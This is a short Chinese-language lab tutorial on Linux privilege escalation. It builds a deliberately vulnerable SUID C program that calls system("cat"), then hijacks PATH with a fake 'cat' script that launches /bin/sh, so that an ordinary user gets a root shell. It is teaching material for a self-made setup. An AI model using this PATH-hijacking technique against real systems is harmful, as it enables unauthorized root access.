Linux系统提权
使用useradd命令,创建一个普通用户demo
useradd -m demo
useradd 的-m选项是在/home目录下创建demo用户的家目录。
确认用户是否创建成功
cat /etc/passwd
在/etc/passwd文件末尾的第一个字段出现用户名demo,则创建用户成功。
切换到/home/demo目录下,创建exp.c文件
cd /home/demo
touch exp.c
编写exp
vim exp.c
#include<stdlib.h>
#include<unistd.h>
int main()
{
setuid(0);//设置用户id为0
setgid(0);//设置用户组id为0
system("cat");
return 0;
}
使用gcc编译exp.c生成可执行文件exp
gcc exp.c -o exp
给exp赋予SUID权限
chmod u+s exp
-rws中的s代表SUID权限
切换到普通用户demo
su - demo
其中美元符$代表是普通用户,所以接下来要劫持环境变量,进行提权。
exp.c的system函数调用了cat脚本,所以要编写一个cat脚本。
touch cat
vi cat
#cat文件
/bin/sh
/bin/sh是新建一个shell终端
#赋予可执行权限
chmod u+x cat
echo $PATH
linux执行一个脚本或可执行文件时,会通过PATH存储的路径依次查找。因为已经有内置命令cat在/bin目录中了,所以要劫持环境变量。
将当前路径添加到PATH中,当前路径是"."
PATH=.:$PATH
运行exp文件(提权)
./exp
最后,普通用户成功提权为root用户。